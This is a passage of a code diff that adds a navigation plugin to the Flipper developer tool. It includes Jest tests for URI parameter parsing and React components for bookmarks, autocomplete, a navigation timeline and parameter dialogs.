expect(filteredMatchPatterns.size).toBe(1);
});
test('find first five occurences of abcdefghijklmnopqrstuvwxy', () => {
const matchPatterns = constructMatchPatterns();
const filteredMatchPatterns = filterMatchPatterns(
matchPatterns,
'abcdefghijklmnopqrstuvwxy',
5,
);
expect(filteredMatchPatterns.size).toBe(5);
});

View File

@@ -0,0 +1,65 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
* @flow strict-local
*/
import {
getRequiredParameters,
parameterIsNumberType,
replaceRequiredParametersWithValues,
filterOptionalParameters,
} from '../util/uri';
test('parse required parameters from uri', () => {
const testURI =
'fb://test_uri/?parameter1={parameter1}&parameter2={parameter2}';
const expectedResult = ['{parameter1}', '{parameter2}'];
expect(getRequiredParameters(testURI)).toEqual(expectedResult);
});
test('parse required numeric parameters from uri', () => {
const testURI =
'fb://test_uri/?parameter1={#parameter1}&parameter2={#parameter2}';
const expectedResult = ['{#parameter1}', '{#parameter2}'];
expect(getRequiredParameters(testURI)).toEqual(expectedResult);
});
test('replace required parameters with values', () => {
const testURI =
'fb://test_uri/?parameter1={parameter1}&parameter2={parameter2}';
const expectedResult = 'fb://test_uri/?parameter1=okay&parameter2=sure';
expect(
replaceRequiredParametersWithValues(testURI, ['okay', 'sure']),
).toEqual(expectedResult);
});
test('skip non-required parameters in replacement', () => {
const testURI =
'fb://test_uri/?parameter1={parameter1}&parameter2={?parameter2}&parameter3={parameter3}';
const expectedResult =
'fb://test_uri/?parameter1=okay&parameter2={?parameter2}&parameter3=sure';
expect(
replaceRequiredParametersWithValues(testURI, ['okay', 'sure']),
).toEqual(expectedResult);
});
test('detect if required parameter is numeric type', () => {
expect(parameterIsNumberType('{#numerictype}')).toBe(true);
});
test('detect if required parameter is not numeric type', () => {
expect(parameterIsNumberType('{numerictype}')).toBe(false);
});
test('filter optional parameters from uri', () => {
const testURI =
'fb://test_uri/{?param_here}/?parameter1={parameter1}&parameter2={?parameter2}&numericParameter={#numericParameter}&parameter3={?parameter3}';
const expextedResult =
'fb://test_uri/?parameter1={parameter1}&numericParameter={#numericParameter}';
expect(filterOptionalParameters(testURI)).toBe(expextedResult);
});

View File

@@ -0,0 +1,73 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Glyph, styled} from 'flipper';
import {useItemNavigation} from '../hooks/autoCompleteSheet';
import {filterProvidersToLineItems} from '../util/autoCompleteProvider';
import {AutoCompleteProvider, AutoCompleteLineItem, URI} from '../types';
import React from 'react';
type Props = {
providers: Array<AutoCompleteProvider>;
onHighlighted: (uri: URI) => void;
onNavigate: (uri: URI) => void;
query: string;
};
const MAX_ITEMS = 5;
const AutoCompleteSheetContainer = styled.div({
width: '100%',
position: 'absolute',
top: 'calc(100% - 3px)',
backgroundColor: 'white',
zIndex: 1,
borderBottomRightRadius: 10,
borderBottomLeftRadius: 10,
boxShadow: '0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24)',
});
const SheetItem = styled.div({
padding: 5,
textOverflow: 'ellipsis',
overflowX: 'hidden',
whiteSpace: 'nowrap',
'&.selected': {
backgroundColor: 'rgba(155, 155, 155, 0.2)',
},
'&:hover': {
backgroundColor: 'rgba(155, 155, 155, 0.2)',
},
});
const SheetItemIcon = styled.span({
padding: 8,
});
export default (props: Props) => {
const {providers, onHighlighted, onNavigate, query} = props;
const lineItems = filterProvidersToLineItems(providers, query, MAX_ITEMS);
lineItems.unshift({uri: query, matchPattern: query, icon: 'send'});
const selectedItem = useItemNavigation(lineItems, onHighlighted);
return (
<AutoCompleteSheetContainer>
{lineItems.map((lineItem: AutoCompleteLineItem, idx: number) => (
<SheetItem
className={idx === selectedItem ? 'selected' : ''}
key={idx}
onMouseDown={() => onNavigate(lineItem.uri)}>
<SheetItemIcon>
<Glyph name={lineItem.icon} size={16} variant="outline" />
</SheetItemIcon>
{lineItem.matchPattern}
</SheetItem>
))}
</AutoCompleteSheetContainer>
);
};

View File

@@ -0,0 +1,126 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
DetailSidebar,
FlexCenter,
styled,
colors,
FlexRow,
FlexColumn,
Text,
Panel,
} from 'flipper';
import {Bookmark, URI} from '../types';
import {IconButton} from './';
import React from 'react';
type Props = {
bookmarks: Map<string, Bookmark>;
onNavigate: (uri: URI) => void;
onRemove: (uri: URI) => void;
};
const NoData = styled(FlexCenter)({
fontSize: 18,
color: colors.macOSTitleBarIcon,
});
const BookmarksList = styled.div({
overflowY: 'scroll',
overflowX: 'hidden',
height: '100%',
backgroundColor: colors.white,
});
const BookmarkContainer = styled(FlexRow)({
width: '100%',
padding: 10,
height: 55,
alignItems: 'center',
cursor: 'pointer',
borderBottom: `1px ${colors.greyTint} solid`,
':last-child': {
borderBottom: '0',
},
':active': {
backgroundColor: colors.highlight,
color: colors.white,
},
':active *': {
color: colors.white,
},
});
const BookmarkTitle = styled(Text)({
fontSize: '1.1em',
overflowX: 'hidden',
whiteSpace: 'nowrap',
textOverflow: 'ellipsis',
fontWeight: 500,
});
const BookmarkSubtitle = styled(Text)({
overflowX: 'hidden',
whiteSpace: 'nowrap',
textOverflow: 'ellipsis',
color: colors.greyTint3,
marginTop: 4,
});
const TextContainer = styled(FlexColumn)({
justifyContent: 'center',
});
const alphabetizeBookmarkCompare = (b1: Bookmark, b2: Bookmark) => {
return b1.uri < b2.uri ? -1 : b1.uri > b2.uri ? 1 : 0;
};
export default (props: Props) => {
const {bookmarks, onNavigate, onRemove} = props;
return (
<DetailSidebar>
<Panel heading="Bookmarks" floating={false} padded={false}>
{bookmarks.size === 0 ? (
<NoData grow>No Bookmarks</NoData>
) : (
<BookmarksList>
{[...bookmarks.values()]
.sort(alphabetizeBookmarkCompare)
.map((bookmark, idx) => (
<BookmarkContainer
key={idx}
role="button"
tabIndex={0}
onClick={() => {
onNavigate(bookmark.uri);
}}>
<TextContainer grow>
<BookmarkTitle>
{bookmark.commonName || bookmark.uri}
</BookmarkTitle>
{!bookmark.commonName && (
<BookmarkSubtitle>{bookmark.uri}</BookmarkSubtitle>
)}
</TextContainer>
<IconButton
color={colors.macOSTitleBarButtonBackgroundActive}
outline={false}
icon="cross-circle"
size={16}
onClick={() => onRemove(bookmark.uri)}
/>
</BookmarkContainer>
))}
</BookmarksList>
)}
</Panel>
</DetailSidebar>
);
};

View File

@@ -0,0 +1,50 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {styled, IconSize, colors} from 'flipper';
import {IconButton} from './';
import React from 'react';
type Props = {
onClick?: () => void;
highlighted: boolean;
size: IconSize;
};
const FavoriteButtonContainer = styled.div({
position: 'relative',
'>:first-child': {
position: 'absolute',
},
'>:last-child': {
position: 'relative',
},
});
export default (props: Props) => {
const {highlighted, onClick, ...iconButtonProps} = props;
return (
<FavoriteButtonContainer>
{highlighted ? (
<IconButton
outline={false}
color={colors.lemon}
icon="star"
{...iconButtonProps}
/>
) : null}
<IconButton
outline={true}
icon="star"
onClick={onClick}
{...iconButtonProps}
/>
</FavoriteButtonContainer>
);
};

View File

@@ -0,0 +1,65 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Glyph, styled, keyframes, IconSize} from 'flipper';
import React from 'react';
const shrinkAnimation = keyframes({
'0%': {
transform: 'scale(1);',
},
'100%': {
transform: 'scale(.9)',
},
});
type Props = {
icon: string;
outline?: boolean;
onClick?: () => void;
color?: string;
size: IconSize;
};
const RippleEffect = styled.div({
padding: 5,
borderRadius: 100,
backgroundPosition: 'center',
transition: 'background 0.5s',
':hover': {
background:
'rgba(155, 155, 155, 0.2) radial-gradient(circle, transparent 1%, rgba(155, 155, 155, 0.2) 1%) center/15000%',
},
':active': {
backgroundColor: 'rgba(201, 200, 200, 0.5)',
backgroundSize: '100%',
transition: 'background 0s',
},
});
const IconButton = styled.div({
':active': {
animation: `${shrinkAnimation} .25s ease forwards`,
},
});
export default function(props: Props) {
return (
<RippleEffect>
<IconButton className="icon-button" onClick={props.onClick}>
<Glyph
name={props.icon}
size={props.size}
color={props.color}
variant={props.outline ? 'outline' : 'filled'}
/>
</IconButton>
</RippleEffect>
);
}

View File

@@ -0,0 +1,240 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
styled,
colors,
ManagedTable,
TableBodyRow,
FlexCenter,
LoadingIndicator,
Button,
Glyph,
} from 'flipper';
import {parseURIParameters, stripQueryParameters} from '../util/uri';
import React from 'react';
const BOX_HEIGHT = 240;
type Props = {
isBookmarked: boolean;
uri: string | null;
className: string | null;
onNavigate: (query: string) => void;
onFavorite: (query: string) => void;
screenshot: string | null;
date: Date | null;
};
const ScreenshotContainer = styled.div({
width: 200,
minWidth: 200,
overflow: 'hidden',
borderLeft: `1px ${colors.blueGreyTint90} solid`,
position: 'relative',
height: '100%',
borderRadius: 10,
img: {
width: '100%',
},
});
const NoData = styled.div({
color: colors.light30,
fontSize: 14,
position: 'relative',
});
const NavigationDataContainer = styled.div({
alignItems: 'flex-start',
flexGrow: 1,
position: 'relative',
});
const Footer = styled.div({
width: '100%',
padding: '10px',
borderTop: `1px ${colors.blueGreyTint90} solid`,
display: 'flex',
alignItems: 'center',
});
const Seperator = styled.div({
flexGrow: 1,
});
const TimeContainer = styled.div({
color: colors.light30,
fontSize: 14,
});
const NavigationInfoBoxContainer = styled.div({
display: 'flex',
height: BOX_HEIGHT,
borderRadius: 10,
flexGrow: 1,
position: 'relative',
marginBottom: 10,
backgroundColor: colors.white,
boxShadow: '1px 1px 5px rgba(0,0,0,0.1)',
});
const Header = styled.div({
fontSize: 18,
fontWeight: 500,
userSelect: 'text',
cursor: 'text',
padding: 10,
borderBottom: `1px ${colors.blueGreyTint90} solid`,
display: 'flex',
});
const ClassNameContainer = styled.div({
color: colors.light30,
});
const ParametersContainer = styled.div({
height: 150,
'&>*': {
height: 150,
marginBottom: 20,
},
});
const NoParamters = styled(FlexCenter)({
fontSize: 18,
color: colors.light10,
});
const TimelineCircle = styled.div({
width: 18,
height: 18,
top: 11,
left: -33,
backgroundColor: colors.light02,
border: `4px solid ${colors.highlight}`,
borderRadius: '50%',
position: 'absolute',
});
const TimelineMiniCircle = styled.div({
width: 12,
height: 12,
top: 1,
left: -30,
borderRadius: '50%',
backgroundColor: colors.highlight,
position: 'absolute',
});
const buildParameterTable = (parameters: Map<string, string>) => {
const tableRows: Array<TableBodyRow> = [];
let idx = 0;
parameters.forEach((parameter_value, parameter) => {
tableRows.push({
key: idx.toString(),
columns: {
parameter: {
value: parameter,
},
value: {
value: parameter_value,
},
},
});
idx++;
});
return (
<ManagedTable
columns={{parameter: {value: 'Parameter'}, value: {value: 'Value'}}}
rows={tableRows}
zebra={false}
/>
);
};
export default (props: Props) => {
const {
uri,
isBookmarked,
className,
screenshot,
onNavigate,
onFavorite,
date,
} = props;
if (uri == null && className == null) {
return (
<>
<NoData>
<TimelineMiniCircle />
Unknown Navigation Event
</NoData>
</>
);
} else {
const parameters = uri != null ? parseURIParameters(uri) : null;
return (
<NavigationInfoBoxContainer>
<TimelineCircle />
<NavigationDataContainer>
<Header>
{uri != null ? stripQueryParameters(uri) : ''}
<Seperator />
{className != null ? (
<>
<Glyph
color={colors.light30}
size={16}
name="paper-fold-text"
/>
&nbsp;
<ClassNameContainer>
{className != null ? className : ''}
</ClassNameContainer>
</>
) : null}
</Header>
<ParametersContainer>
{parameters != null && parameters.size > 0 ? (
buildParameterTable(parameters)
) : (
<NoParamters grow>No Parameters for this Event</NoParamters>
)}
</ParametersContainer>
<Footer>
{uri != null ? (
<>
<Button onClick={() => onNavigate(uri)}>Open</Button>
<Button onClick={() => onFavorite(uri)}>
{isBookmarked ? 'Edit Bookmark' : 'Bookmark'}
</Button>
</>
) : null}
<Seperator />
<TimeContainer>
{date != null ? date.toTimeString() : ''}
</TimeContainer>
</Footer>
</NavigationDataContainer>
{uri != null || className != null ? (
<ScreenshotContainer>
{screenshot != null ? (
<img src={screenshot} />
) : (
<FlexCenter grow>
<LoadingIndicator size={32} />
</FlexCenter>
)}
</ScreenshotContainer>
) : null}
</NavigationInfoBoxContainer>
);
}
};

View File

@@ -0,0 +1,164 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Button, FlexColumn, Input, Sheet, styled, Glyph, colors} from 'flipper';
import {
replaceRequiredParametersWithValues,
parameterIsNumberType,
parameterIsBooleanType,
validateParameter,
liveEdit,
} from '../util/uri';
import {useRequiredParameterFormValidator} from '../hooks/requiredParameters';
import React from 'react';
import {URI} from '../types';
type Props = {
uri: string;
requiredParameters: Array<string>;
shouldShow: boolean;
onHide?: () => void;
onSubmit: (uri: URI) => void;
};
const Container = styled(FlexColumn)({
padding: 10,
width: 600,
});
const Title = styled.span({
display: 'flex',
marginTop: 8,
marginLeft: 2,
marginBottom: 8,
});
const Text = styled.span({
lineHeight: 1.3,
});
const ErrorLabel = styled.span({
color: colors.yellow,
lineHeight: 1.4,
});
const URIContainer = styled.div({
lineHeight: 1.3,
marginLeft: 2,
marginBottom: 8,
marginTop: 10,
overflowWrap: 'break-word',
});
const ButtonContainer = styled.div({
marginLeft: 'auto',
});
const RequiredParameterInput = styled(Input)({
margin: 0,
marginTop: 8,
height: 30,
width: '100%',
});
const WarningIconContainer = styled.span({
marginRight: 8,
});
export default (props: Props) => {
const {shouldShow, onHide, onSubmit, uri, requiredParameters} = props;
const {isValid, values, setValuesArray} = useRequiredParameterFormValidator(
requiredParameters,
);
if (uri == null || !shouldShow) {
return null;
} else {
return (
<Sheet onHideSheet={onHide}>
{(hide: () => void) => {
return (
<Container>
<Title>
<WarningIconContainer>
<Glyph
name="caution-triangle"
size={16}
variant="filled"
color={colors.yellow}
/>
</WarningIconContainer>
<Text>
This uri has required parameters denoted by {'{parameter}'}.
</Text>
</Title>
{requiredParameters.map((paramater, idx) => (
<div key={idx}>
<RequiredParameterInput
onChange={(event: React.ChangeEvent<HTMLInputElement>) =>
setValuesArray([
...values.slice(0, idx),
event.target.value,
...values.slice(idx + 1),
])
}
name={paramater}
placeholder={paramater}
/>
{values[idx] &&
parameterIsNumberType(paramater) &&
!validateParameter(values[idx], paramater) ? (
<ErrorLabel>Parameter must be a number</ErrorLabel>
) : null}
{values[idx] &&
parameterIsBooleanType(paramater) &&
!validateParameter(values[idx], paramater) ? (
<ErrorLabel>
Parameter must be either 'true' or 'false'
</ErrorLabel>
) : null}
</div>
))}
<URIContainer>{liveEdit(uri, values)}</URIContainer>
<ButtonContainer>
<Button
onClick={() => {
if (onHide != null) {
onHide();
}
setValuesArray([]);
hide();
}}
compact
padded>
Cancel
</Button>
<Button
type={isValid ? 'primary' : undefined}
onClick={() => {
onSubmit(replaceRequiredParametersWithValues(uri, values));
if (onHide != null) {
onHide();
}
setValuesArray([]);
hide();
}}
disabled={!isValid}
compact
padded>
Submit
</Button>
</ButtonContainer>
</Container>
);
}}
</Sheet>
);
}
};

View File

@@ -0,0 +1,117 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Button, FlexColumn, Input, Sheet, styled} from 'flipper';
import React, {useState} from 'react';
import {Bookmark, URI} from '../types';
type Props = {
uri: string | null;
edit: boolean;
shouldShow: boolean;
onHide?: () => void;
onRemove: (uri: URI) => void;
onSubmit: (bookmark: Bookmark) => void;
};
const Container = styled(FlexColumn)({
padding: 10,
width: 400,
});
const Title = styled.div({
fontWeight: 500,
marginTop: 8,
marginLeft: 2,
marginBottom: 8,
});
const URIContainer = styled.div({
marginLeft: 2,
marginBottom: 8,
overflowWrap: 'break-word',
});
const ButtonContainer = styled.div({
marginLeft: 'auto',
});
const NameInput = styled(Input)({
margin: 0,
marginBottom: 10,
height: 30,
});
export default (props: Props) => {
const {edit, shouldShow, onHide, onRemove, onSubmit, uri} = props;
const [commonName, setCommonName] = useState('');
if (uri == null || !shouldShow) {
return null;
} else {
return (
<Sheet onHideSheet={onHide}>
{(onHide: () => void) => {
return (
<Container>
<Title>
{edit ? 'Edit bookmark...' : 'Save to bookmarks...'}
</Title>
<NameInput
placeholder="Name..."
value={commonName}
onChange={(event: React.ChangeEvent<HTMLInputElement>) =>
setCommonName(event.target.value)
}
/>
<URIContainer>{uri}</URIContainer>
<ButtonContainer>
<Button
onClick={() => {
onHide();
setCommonName('');
}}
compact
padded>
Cancel
</Button>
{edit ? (
<Button
type="danger"
onClick={() => {
onHide();
onRemove(uri);
setCommonName('');
}}
compact
padded>
Remove
</Button>
) : null}
<Button
type="primary"
onClick={() => {
onHide();
onSubmit({uri, commonName});
// The component state is remembered even after unmounting.
// Thus it is necessary to reset the commonName here.
setCommonName('');
}}
compact
padded>
Save
</Button>
</ButtonContainer>
</Container>
);
}}
</Sheet>
);
}
};

View File

@@ -0,0 +1,166 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {styled, SearchBox, SearchInput, Toolbar} from 'flipper';
import {AutoCompleteSheet, IconButton, FavoriteButton} from './';
import {AutoCompleteProvider, Bookmark, URI} from '../types';
import React, {Component} from 'react';
type Props = {
onFavorite: (query: URI) => void;
onNavigate: (query: URI) => void;
bookmarks: Map<URI, Bookmark>;
providers: Array<AutoCompleteProvider>;
uriFromAbove: URI;
};
type State = {
query: URI;
inputFocused: boolean;
autoCompleteSheetOpen: boolean;
searchInputValue: URI;
prevURIFromAbove: URI;
};
const IconContainer = styled.div({
display: 'inline-flex',
height: '16px',
alignItems: 'center',
'': {
marginLeft: 10,
'.icon-button': {
height: 16,
},
'img,div': {
verticalAlign: 'top',
alignItems: 'none',
},
},
});
const ToolbarContainer = styled.div({
'.drop-shadow': {
boxShadow: '0 1px 3px rgba(0,0,0,0.12), 0 1px 2px rgba(0,0,0,0.24)',
},
});
const SearchInputContainer = styled.div({
width: '100%',
marginLeft: 5,
marginRight: 9,
position: 'relative',
});
class SearchBar extends Component<Props, State> {
state = {
inputFocused: false,
autoCompleteSheetOpen: false,
query: '',
searchInputValue: '',
prevURIFromAbove: '',
};
favorite = (searchInputValue: string) => {
this.props.onFavorite(searchInputValue);
};
navigateTo = (searchInputValue: string) => {
this.setState({query: searchInputValue, searchInputValue});
this.props.onNavigate(searchInputValue);
};
queryInputChanged = (event: React.ChangeEvent<HTMLInputElement>) => {
const value = event.target.value;
this.setState({query: value, searchInputValue: value});
};
static getDerivedStateFromProps = (newProps: Props, state: State) => {
const {uriFromAbove: newURIFromAbove} = newProps;
const {prevURIFromAbove} = state;
if (newURIFromAbove !== prevURIFromAbove) {
return {
searchInputValue: newURIFromAbove,
query: newURIFromAbove,
prevURIFromAbove: newURIFromAbove,
};
}
return null;
};
render() {
const {bookmarks, providers} = this.props;
const {
autoCompleteSheetOpen,
inputFocused,
searchInputValue,
query,
} = this.state;
return (
<ToolbarContainer>
<Toolbar>
<SearchBox className={inputFocused ? 'drop-shadow' : ''}>
<SearchInputContainer>
<SearchInput
value={searchInputValue}
onBlur={() =>
this.setState({
autoCompleteSheetOpen: false,
inputFocused: false,
})
}
onFocus={(event: React.FocusEvent<HTMLInputElement>) => {
event.target.select();
this.setState({
autoCompleteSheetOpen: true,
inputFocused: true,
});
}}
onChange={this.queryInputChanged}
onKeyPress={(e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') {
this.navigateTo(this.state.searchInputValue);
(e.target as HTMLInputElement).blur();
}
}}
placeholder="Navigate To..."
/>
{autoCompleteSheetOpen && query.length > 0 ? (
<AutoCompleteSheet
providers={providers}
onNavigate={this.navigateTo}
onHighlighted={(newInputValue: URI) =>
this.setState({searchInputValue: newInputValue})
}
query={query}
/>
) : null}
</SearchInputContainer>
</SearchBox>
{searchInputValue.length > 0 ? (
<IconContainer>
<IconButton
icon="send"
size={16}
outline={true}
onClick={() => this.navigateTo(searchInputValue)}
/>
<FavoriteButton
size={16}
highlighted={bookmarks.has(searchInputValue)}
onClick={() => this.favorite(searchInputValue)}
/>
</IconContainer>
) : null}
</Toolbar>
</ToolbarContainer>
);
}
}
export default SearchBar;

View File

@@ -0,0 +1,95 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {colors, FlexCenter, styled} from 'flipper';
import {NavigationInfoBox} from './';
import {Bookmark, NavigationEvent, URI} from '../types';
import React, {useRef} from 'react';
type Props = {
bookmarks: Map<string, Bookmark>;
events: Array<NavigationEvent>;
onNavigate: (uri: URI) => void;
onFavorite: (uri: URI) => void;
};
const TimelineLine = styled.div({
width: 2,
backgroundColor: colors.highlight,
position: 'absolute',
top: 38,
bottom: 0,
});
const TimelineContainer = styled.div({
position: 'relative',
paddingLeft: 25,
overflowY: 'scroll',
flexGrow: 1,
backgroundColor: colors.light02,
scrollBehavior: 'smooth',
'&>div': {
position: 'relative',
minHeight: '100%',
'&:last-child': {
paddingBottom: 25,
},
},
});
const NavigationEventContainer = styled.div({
display: 'flex',
paddingTop: 25,
paddingLeft: 25,
marginRight: 25,
});
const NoData = styled(FlexCenter)({
height: '100%',
fontSize: 18,
backgroundColor: colors.macOSTitleBarBackgroundBlur,
color: colors.macOSTitleBarIcon,
});
export default (props: Props) => {
const {bookmarks, events, onNavigate, onFavorite} = props;
const timelineRef = useRef<HTMLDivElement>(null);
return events.length === 0 ? (
<NoData>No Navigation Events to Show</NoData>
) : (
<TimelineContainer ref={timelineRef}>
<div>
<TimelineLine />
{events.map((event: NavigationEvent, idx: number) => {
return (
<NavigationEventContainer>
<NavigationInfoBox
key={idx}
isBookmarked={
event.uri != null ? bookmarks.has(event.uri) : false
}
className={event.className}
uri={event.uri}
onNavigate={uri => {
if (timelineRef.current != null) {
timelineRef.current.scrollTo(0, 0);
}
onNavigate(uri);
}}
onFavorite={onFavorite}
screenshot={event.screenshot}
date={event.date}
/>
</NavigationEventContainer>
);
})}
</div>
</TimelineContainer>
);
};

View File

@@ -0,0 +1,18 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
export {default as AutoCompleteSheet} from './AutoCompleteSheet';
export {default as BookmarksSidebar} from './BookmarksSidebar';
export {default as FavoriteButton} from './FavoriteButton';
export {default as IconButton} from './IconButton';
export {default as NavigationInfoBox} from './NavigationInfoBox';
export {default as RequiredParametersDialog} from './RequiredParametersDialog';
export {default as SaveBookmarkDialog} from './SaveBookmarkDialog';
export {default as SearchBar} from './SearchBar';
export {default as Timeline} from './Timeline';

View File

@@ -0,0 +1,52 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {useEffect, useState} from 'react';
import {AutoCompleteLineItem} from '../types';
export const useItemNavigation = (
lineItems: Array<AutoCompleteLineItem>,
onHighlighted: (uri: string) => void,
) => {
const [selectedItem, setSelectedItem] = useState(0);
const handleKeyPress = (event: KeyboardEvent) => {
switch (event.key) {
case 'ArrowDown': {
const newSelectedItem =
selectedItem < lineItems.length - 1
? selectedItem + 1
: lineItems.length - 1;
setSelectedItem(newSelectedItem);
onHighlighted(lineItems[newSelectedItem].uri);
break;
}
case 'ArrowUp': {
const newSelectedItem =
selectedItem > 0 ? selectedItem - 1 : selectedItem;
setSelectedItem(newSelectedItem);
onHighlighted(lineItems[newSelectedItem].uri);
break;
}
default: {
setSelectedItem(0);
break;
}
}
};
useEffect(() => {
window.addEventListener('keydown', handleKeyPress);
return () => {
window.removeEventListener('keydown', handleKeyPress);
};
});
return selectedItem;
};

View File

@@ -0,0 +1,35 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {useEffect, useState} from 'react';
import {validateParameter} from '../util/uri';
export const useRequiredParameterFormValidator = (
requiredParameters: Array<string>,
) => {
const [values, setValuesArray] = useState<Array<string>>(
requiredParameters.map(() => ''),
);
const [isValid, setIsValid] = useState(false);
useEffect(() => {
if (requiredParameters.length != values.length) {
setValuesArray(requiredParameters.map(() => ''));
}
if (
values.every((value, idx) =>
validateParameter(value, requiredParameters[idx]),
)
) {
setIsValid(true);
} else {
setIsValid(false);
}
});
return {isValid, values, setValuesArray};
};

View File

@@ -0,0 +1,238 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
* @flow strict-local
*/
import {FlipperPlugin, FlexColumn, bufferToBlob} from 'flipper';
import {
BookmarksSidebar,
SaveBookmarkDialog,
SearchBar,
Timeline,
RequiredParametersDialog,
} from './components';
import {
removeBookmark,
readBookmarksFromDB,
writeBookmarkToDB,
} from './util/indexedDB';
import {
appMatchPatternsToAutoCompleteProvider,
bookmarksToAutoCompleteProvider,
DefaultProvider,
} from './util/autoCompleteProvider';
import {getAppMatchPatterns} from './util/appMatchPatterns';
import {getRequiredParameters, filterOptionalParameters} from './util/uri';
import {
State,
PersistedState,
Bookmark,
NavigationEvent,
AppMatchPattern,
} from './types';
import React from 'react';
export default class extends FlipperPlugin<State, any, PersistedState> {
static title = 'Navigation';
static id = 'Navigation';
static icon = 'directions';
static defaultPersistedState = {
navigationEvents: [],
bookmarks: new Map<string, Bookmark>(),
currentURI: '',
bookmarksProvider: DefaultProvider(),
appMatchPatterns: [],
appMatchPatternsProvider: DefaultProvider(),
};
state = {
shouldShowSaveBookmarkDialog: false,
saveBookmarkURI: null as string | null,
shouldShowURIErrorDialog: false,
requiredParameters: [],
};
static persistedStateReducer = (
persistedState: PersistedState,
method: string,
payload: any,
) => {
switch (method) {
case 'nav_event':
const navigationEvent: NavigationEvent = {
uri:
payload.uri === undefined ? null : decodeURIComponent(payload.uri),
date: new Date(payload.date) || new Date(),
className: payload.class === undefined ? null : payload.class,
screenshot: null,
};
return {
...persistedState,
currentURI:
navigationEvent.uri == null
? persistedState.currentURI
: decodeURIComponent(navigationEvent.uri),
navigationEvents: [
navigationEvent,
...persistedState.navigationEvents,
],
};
default:
return persistedState;
}
};
subscribeToNavigationEvents = () => {
this.client.subscribe('nav_event', () =>
// Wait for view to render and then take a screenshot
setTimeout(async () => {
const device = await this.getDevice();
const screenshot = await device.screenshot();
const blobURL = URL.createObjectURL(bufferToBlob(screenshot));
this.props.persistedState.navigationEvents[0].screenshot = blobURL;
this.props.setPersistedState({...this.props.persistedState});
}, 1000),
);
};
componentDidMount() {
const {selectedApp} = this.props;
this.subscribeToNavigationEvents();
this.getDevice()
.then(device => getAppMatchPatterns(selectedApp, device))
.then((patterns: Array<AppMatchPattern>) => {
this.props.setPersistedState({
appMatchPatterns: patterns,
appMatchPatternsProvider: appMatchPatternsToAutoCompleteProvider(
patterns,
),
});
})
.catch(() => {
/* Silently fail here. */
});
readBookmarksFromDB().then(bookmarks => {
this.props.setPersistedState({
bookmarks: bookmarks,
bookmarksProvider: bookmarksToAutoCompleteProvider(bookmarks),
});
});
}
navigateTo = async (query: string) => {
const filteredQuery = filterOptionalParameters(query);
this.props.setPersistedState({currentURI: filteredQuery});
const requiredParameters = getRequiredParameters(filteredQuery);
if (requiredParameters.length === 0) {
const device = await this.getDevice();
if (this.realClient.query.app === 'Facebook' && device.os === 'iOS') {
// use custom navigate_to event for Wilde
this.client.send('navigate_to', {
url: filterOptionalParameters(filteredQuery),
});
} else {
device.navigateToLocation(filterOptionalParameters(filteredQuery));
}
} else {
this.setState({
requiredParameters,
shouldShowURIErrorDialog: true,
});
}
};
onFavorite = (uri: string) => {
this.setState({shouldShowSaveBookmarkDialog: true, saveBookmarkURI: uri});
};
addBookmark = (bookmark: Bookmark) => {
const newBookmark = {
uri: bookmark.uri,
commonName: bookmark.commonName,
};
writeBookmarkToDB(newBookmark);
const newMapRef = this.props.persistedState.bookmarks;
newMapRef.set(newBookmark.uri, newBookmark);
this.props.setPersistedState({
bookmarks: newMapRef,
bookmarksProvider: bookmarksToAutoCompleteProvider(newMapRef),
});
};
removeBookmark = (uri: string) => {
removeBookmark(uri);
const newMapRef = this.props.persistedState.bookmarks;
newMapRef.delete(uri);
this.props.setPersistedState({
bookmarks: newMapRef,
bookmarksProvider: bookmarksToAutoCompleteProvider(newMapRef),
});
};
render() {
const {
saveBookmarkURI,
shouldShowSaveBookmarkDialog,
shouldShowURIErrorDialog,
requiredParameters,
} = this.state;
const {
bookmarks,
bookmarksProvider,
currentURI,
appMatchPatternsProvider,
navigationEvents,
} = this.props.persistedState;
const autoCompleteProviders = [bookmarksProvider, appMatchPatternsProvider];
return (
<FlexColumn grow>
<SearchBar
providers={autoCompleteProviders}
bookmarks={bookmarks}
onNavigate={this.navigateTo}
onFavorite={this.onFavorite}
uriFromAbove={currentURI}
/>
<Timeline
bookmarks={bookmarks}
events={navigationEvents}
onNavigate={this.navigateTo}
onFavorite={this.onFavorite}
/>
<BookmarksSidebar
bookmarks={bookmarks}
onRemove={this.removeBookmark}
